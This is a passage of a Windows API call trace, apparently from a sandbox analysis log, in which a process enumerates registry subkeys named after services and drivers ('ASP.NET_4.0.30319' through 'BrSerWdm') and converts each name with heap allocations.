RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0235.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0235.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1df0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0235.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.974] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.974] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.974] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0235.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0235.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.975] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 